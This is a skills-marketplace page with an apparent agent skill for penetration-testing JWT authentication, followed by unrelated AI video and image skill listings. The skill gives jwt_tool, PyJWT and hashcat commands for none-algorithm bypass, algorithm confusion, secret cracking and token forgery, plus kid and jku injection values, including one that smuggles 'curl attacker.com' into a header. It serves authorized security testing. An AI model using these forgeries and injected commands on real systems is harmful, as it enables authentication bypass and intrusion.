testing-for-json-web-token-vulnerabilities

Tests JWT implementations for algorithm confusion, "none" algorithm bypass,

mukul975/anthropic-cybersecurity-skills344 installsApache-2.0Synced Aug 22

Works with

Claude CodeCursorCodex CLIGitHub CopilotGemini CLI
---
name: testing-for-json-web-token-vulnerabilities
description: Tests JWT implementations for algorithm confusion, "none" algorithm bypass,
license: Apache-2.0
---

# Testing for JSON Web Token Vulnerabilities

## When to Use
- When testing applications using JWT for authentication and session management
- During API security assessments where JWTs are used for authorization
- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
- During penetration testing of single sign-on (SSO) systems
- When auditing JWT library configurations for known vulnerabilities

## Prerequisites
- jwt_tool (Python JWT exploitation toolkit)
- Burp Suite with JWT Editor extension
- jwt.io for decoding and inspecting JWT structure
- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
- hashcat or john for brute-forcing weak JWT secrets
- Python PyJWT library for custom JWT forging scripts
- Access to application using JWT-based authentication


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Decode and Analyze JWT Structure
```bash
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers
```

### Step 2 — Test "None" Algorithm Bypass
```bash
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)

# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
```

### Step 3 — Test Algorithm Confusion (RS256 to HS256)
```bash
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json

# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
```

### Step 4 — Test Key ID (kid) Parameter Injection
```bash
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
```

### Step 5 — Test JKU/X5U Header Injection
```bash
# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s

# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json

# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"

# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"

# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i
```

### Step 6 — Brute-Force Weak JWT Secrets
```bash
# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt

# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name

# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
  -I -pc role -pv admin -pc sub -pv "admin@target.com"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |
| None Algorithm | Setting alg to "none" to create unsigned tokens accepted by misconfigured servers |
| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |
| JKU/X5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |
| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |
| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |
| Token Replay | Reusing valid JWTs after the intended session should have expired |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| jwt_tool | Comprehensive JWT testing and exploitation toolkit |
| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |
| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |
| john the ripper | CPU-based JWT secret cracking |
| jwt.io | Online JWT decoder and debugger for inspection |
| PyJWT | Python library for programmatic JWT creation and verification |

## Common Scenarios

1. **None Algorithm Bypass** — Change JWT algorithm to "none", remove signature, and forge admin tokens on servers that accept unsigned JWTs
2. **Algorithm Confusion RCE** — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access
3. **Kid SQL Injection** — Inject SQL payload in kid parameter to extract the signing key from the database
4. **Weak Secret Cracking** — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user
5. **JKU Server Spoofing** — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key

## Output Format

```
## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json

### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |

### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation
```

More SEO & Marketing skills

ai-video-generation

skills-101/superpowers

Generate AI videos with Google Veo, Seedance 2.0, HappyHorse, Wan, Grok and 40+ models via inference.sh CLI. Models: Veo 3.1, Veo 3, Seedance 2.0, HappyHorse 1.0, Wan 2.5, Grok Imagine Video, OmniHuman, Fabric, HunyuanVideo. Capabilities: text-to-video, image-to-video, reference-to-video, video editing, lipsync, avatar animation, video upscaling, foley sound. Use for: social media videos, marketing content, explainer videos, product demos, AI avatars. Triggers: video generation, ai video, text to video, image to video, veo, animate image, video from image, ai animation, video generator, generate video, t2v, i2v, ai video maker, create video with ai, runway alternative, pika alternative, sora alternative, kling alternative, seedance, happyhorse

394.9k

ai-image-generation

skills-101/superpowers

Generate AI images with GPT-Image-2, FLUX, Gemini, Grok, Seedream, Reve and 50+ models via inference.sh CLI. Models: GPT-Image-2, FLUX Dev LoRA, FLUX.2 Klein LoRA, Gemini 3 Pro Image, Grok Imagine, Seedream 4.5, Reve, ImagineArt. Capabilities: text-to-image, image-to-image, inpainting, LoRA, image editing, upscaling, text rendering. Use for: AI art, product mockups, concept art, social media graphics, marketing visuals, illustrations. Triggers: flux, image generation, ai image, text to image, stable diffusion, generate image, ai art, midjourney alternative, dall-e alternative, text2img, t2i, image generator, ai picture, create image with ai, generative ai, ai illustration, grok image, gemini image, gpt image, openai image, chatgpt image

394.6k

ai-avatar-video

skills-101/superpowers

Create AI avatar and talking head videos via inference.sh CLI. Recommended: P-Video-Avatar (fastest, cheapest, built-in TTS). Also: OmniHuman, Fabric, PixVerse. Audio: Inworld TTS-2 (100+ languages, emotion steering for characters), ElevenLabs, Kokoro. Capabilities: audio-driven avatars, text-to-avatar, lipsync videos, talking head generation, virtual presenters, UGC content. Use for: AI presenters, explainer videos, virtual influencers, dubbing, marketing videos, UGC ads, gaming avatars, NPC dialogue. Triggers: ai avatar, talking head, lipsync, avatar video, virtual presenter, ai spokesperson, audio driven video, heygen alternative, synthesia alternative, talking avatar, lip sync, video avatar, ai presenter, digital human, ugc, ugc video, ugc ad, avatar ugc

394.5k

← All SEO & Marketing skills

Check your AI visibility

One URL in, a 0–100 score and the exact fixes out.

RUN THE CHECK

Browse all the tools

15 tools across six categories
13 of them never send your data anywhere

Free · No signup · No trial clock

SEE THE DIRECTORY